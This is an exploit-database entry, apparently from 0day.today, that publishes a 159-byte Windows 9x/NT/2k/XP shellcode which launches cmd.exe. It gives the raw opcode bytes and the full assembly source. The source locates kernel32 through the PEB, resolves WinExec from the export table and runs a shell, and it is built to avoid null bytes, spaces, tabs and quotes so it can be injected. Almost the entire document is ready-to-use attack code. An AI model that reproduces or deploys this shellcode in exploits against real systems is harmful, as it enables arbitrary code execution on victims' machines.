win32 9x/NT/2k/XP Generic cmd.exe Shellcode 159 bytes

2010-10-01T00:00:00
ID 1337DAY-ID-14271
Type zdt
Reporter Pepelux
Modified 2010-10-01T00:00:00

Description

Exploit for win32 platform in category shellcode

                                        
                                            =====================================================
win32 9x/NT/2k/XP Generic cmd.exe Shellcode 159 bytes
=====================================================

; Windows 9x/NT/2k/XP Generic cmd.exe Shellcode
; 159 bytes
;
; free of null bytes (\x00), spaces (\x20), tabs (\x09), quotes (\x22)
;
; by Pepelux - pepeluxx[at]gmail[dot]com
; http://www.pepelux.org - http://www.enye-sec.org
;
; 33 C0 64 8B 40 30 8B 40 0C 85 C0 78 09 8B 70 1C 
; AD 8B 40 08 EB 09 8B 40 34 8D 40 7C 8B 40 3C 50
; 8B 34 24 03 76 3C 8B 56 78 03 14 24 8B CA 83 C1
; 1F 41 8B 19 03 1C 24 33 C0 8B 3B 03 3C 24 81 3F
; 57 69 6E 45 75 0F 66 81 7F 04 78 65 75 07 66 83
; 7F 06 63 74 0A 90 83 C3 04 40 3B 42 18 75 DA 8B
; 72 24 03 34 24 33 C9 66 8B 0C 46 8B 7A 1C 03 3C
; 24 8B 04 8F 03 04 24 8B EC 32 D2 83 EC 0C C7 45
; F7 63 6D 64 2E 66 C7 45 FB 65 78 C6 45 FD 65 88
; 55 FE 8D 4D F7 33 DB B3 05 53 51 8B D8 FF D3


.386
.model flat, stdcall  ;32 bit memory model
option casemap :none  ;case sensitive
assume fs:nothing

include windows.inc
include kernel32.inc

includelib masm32.lib
includelib kernel32.lib


.code
start:
; ************************************
; Search for kernel32.dll base address
; ************************************
busca_kernel32:
   xor eax, eax
   mov eax, fs:[eax+30h]	; link to PEB
   mov eax, [eax+0ch]		; link to data struct
   test eax, eax
   js busca_kernel32_9x		; if FS=1 then Windows 9x else NT, XP, ...

busca_kernel32_nt:
   mov esi, [eax+1ch]		; first entry
   lodsd			; next entry
   mov eax, [eax+08h]		; eax=base address
   jmp fin_kernel32

busca_kernel32_9x:
   mov eax, [eax+34h]
   lea eax, [eax+7ch]
   mov eax, [eax+3ch]		; eax=base address

fin_kernel32:
   push eax

; **************************************************
; Search for WinExec using kernel32.dll base address
; **************************************************
busca_funcion:
	mov esi, [esp]			; link to kernel32.dll base address
	add esi, [esi+03Ch]		; link to PE signature
	mov edx, [esi+078h]		; link to Export table
	add edx, [esp]			; adding base address

	mov ecx, edx			; avoid 20h opcode (space)
	add ecx, 1fh
	inc ecx
	mov ebx, [ecx]			; link to array AddressOfNames
	add ebx, [esp]
	xor eax, eax			; index of AddressOfNames	

bucle_funcion:				; search WinExec function
	mov edi, [ebx]
	add edi, [esp]

	cmp dword ptr [edi], 456E6957h  ; EniW = WinE in the other way
	jnz funcion_no_encontrada
	cmp word ptr [edi + 4], 6578h	; ex = xe in the other way
	jnz funcion_no_encontrada
	cmp word ptr [edi + 6], 63h	; c
	je funcion_encontrada
   
funcion_no_encontrada:
	nop				; NOP to avoid 09h opcode (tab)
	add ebx, 4
	inc eax
	cmp eax, dword ptr [edx+18h]
	jnz bucle_funcion

funcion_encontrada:
	mov esi, dword ptr [edx + 24h] 		; link to ordinals table
	add esi, [esp]		 		; adding base address
	xor ecx, ecx
	mov cx, word ptr [esi + 2 * eax] 	; cx = function number
	mov edi, dword ptr [edx + 1ch] 		; link to address table
	add edi, [esp]		 		; adding base address
	mov eax, dword ptr [edi + 4 * ecx] 	; link to found function
	add eax, [esp]				; adding base address


; ***************
; Running cmd.exe
; ***************
	mov ebp, esp
	xor dl, dl

	sub esp, 0ch ; substract 0ch bytes to esp to save 'cmd.exe' string

	mov dword ptr [ebp-09h], 2e646d63h	; .dmc = cmd. in the other way
	mov word ptr [ebp-05h],  7865h		; xe = ex in the other way
	mov byte ptr [ebp-03h],  65h		; e
	mov byte ptr [ebp-02h],  dl	 	; 0x00 (end of string)

	lea ecx, [ebp-09h] 	; eax=link to cmd.exe string

	xor ebx, ebx
	mov bl, 5		; SW_SHOW
	push ebx
	push ecx

	mov ebx, eax
	call ebx 		; call to WinExec

	invoke ExitProcess, 0
end start



#  0day.today [2018-03-14]  #